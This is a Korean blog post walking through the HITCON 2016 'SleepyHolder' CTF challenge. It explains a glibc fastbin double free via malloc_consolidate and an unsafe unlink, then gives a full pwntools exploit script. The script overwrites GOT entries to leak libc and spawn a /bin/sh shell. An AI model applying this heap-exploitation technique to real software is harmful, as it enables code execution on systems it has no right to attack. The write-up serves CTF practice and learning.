ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • HITCON 2016 SleepyHolder
    Pwnable/CTF 2017. 7. 13. 15:19

    fastbin이 free가 되면 malloc_state구조체 Fastbin배열에 들어가게 되는데 이때 large chunk가 할당이 될 사이즈가 malloc 인자에 들어가게 될때 have_fastbinchunks? 함수를 호출하여서 Fastbin배열에 들어간게 있는지 확인을하고 malloc_consolidate함수를 호출 하는데 이때 prev_inuse확인 등 기본 small bin을 free할때 처럼 검사들을 하고 그 Fastbin들을 unsorted bin에 보내고 할당을한다.


    위에 설명한 것이 이 문제 핵심이다.


    malloc 순서를 잘 보면 Fast bin size체크 그리고 malloc_state 구조체 Fastbin배열 확인 NULL이 아니고 그 사이즈 인덱스를 확인하고 UAF를 시키고 NULL이면 unsorted bin에서 그것도 사이즈 맞는게 없거나 NULL이면 top chunk를 이용하여서 할당을 해준다.


    small secret을 할당해주고 big secret을 할당해주면 


    fast

    large

    top 


    위와 같이 된다.


    이때 small secret을 해체해주고 huge secret을 할당해주면 맨 위에 설명이 되어있는 malloc_consolidate를 할당해 줄 것 이다.

    그리고 wipe를 시킬때 그 포인터가 할당이 되어있는지 알려주는 변수를 확인하지 않기 때문에 이것을 이용하여서 문제를 풀수있다(free를 할때 포인터를 NULL로 덮지 않음)


    그때 또 다시 small secret을 free해주면 Fastbin 배열(링크 드리스트), unsorted bin 링크 드리스트 두 곳에 다 small secret주소가 들어가 있을 것 이다 !


    small secret을 다시 할당해주면 Fastbin을 확인하고 UAF를 해주는데 small secret에 할당된 주소는 아직 unsorted bin에서 꺼내온 청크가 아니기 때문에 prev_inuse는 계속해서 0으로 되어 있을 것 이다. 


    다음 청크는 prev_inuse가 없고 우린 전역변수 주소를 알고있고 fd, bk, 다음 청크 prev_size를 덮을 수 있기 때문에 unsafe_unlink를 해줄 수 있다.



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    from pwn import *
     
    p=process("./SleepyHolder")
    elf = ELF("./SleepyHolder")
    free_got = elf.got['free']
    libc = ELF("./libc.so.6")
    print p.recvuntil('Renew secret\n')
     
    def Keep(keep,data):
        p.sendline("1")
        print p.recv(1024)
        p.sendline(str(keep))
        print p.recv(1024)
        p.sendline(data)
        print p.recvuntil('Renew secret\n')
     
    def Wipe(keep):
        p.sendline("2")
        print p.recvuntil('Big secret\n')
        p.sendline(str(keep))
        print p.recv(1024)
     
    def Renew(keep,data):
        p.sendline("3")
        print p.recvuntil('Big secret\n')
        p.sendline(str(keep))
        print p.recv(1024)
        p.send(data)
        print p.recvuntil('Renew secret\n')
     
    small = 0x6020d0
     
    Keep(1,"AAAA")
    Keep(2,"BBBB")
    Wipe(1)
    Keep(3,"CCCC"# fastbin -> smallbin
    Wipe(1#fastbin -> smallbin -> free() -> main_arena !!!
    Keep(1,"AAAA")
    payload = p64(0)
    payload += p64(0x20)
    payload += p64(small-0x18)
    payload += p64(small-0x10)
    payload += p64(0x20)
    payload += p64(0x91)
    Renew(1,payload)
    Wipe(2)
     
    puts_plt = elf.plt['puts']
    atoi_got = elf.got['atoi']
    payload = p64(0)
    payload += p64(atoi_got)
    payload += p64(0)
    payload += p64(free_got)
    Renew(1,payload)
    Renew(1,p64(puts_plt))
     
    p.sendline("2")
    print p.recv(1024)
    p.sendline("2")
    atoi_libc = u64(p.recv(6)+'\00\00')
    libc_base = atoi_libc - libc.symbols['atoi']
    system = atoi_libc + 0xe4d0
    cmd = system + 0x1455a0
    print hex(atoi_libc)
    print hex(system)
    print hex(cmd)
     
    Renew(1,p64(system))
    Keep(2,"/bin/sh")
    p.sendline("2")
    print p.recv(1024)
    p.sendline("2")
    p.interactive()
     
    cs


    'Pwnable > CTF' 카테고리의 다른 글

    YISF 2017 본선  (0) 2017.08.13
    YISF 2017 write up  (0) 2017.08.10
    HITCON 2016 SecretHolder  (0) 2017.07.11
    Secuinside 2017 ohce  (0) 2017.07.03
    Codegate 2016 floppy  (0) 2017.06.10
Designed by Tistory.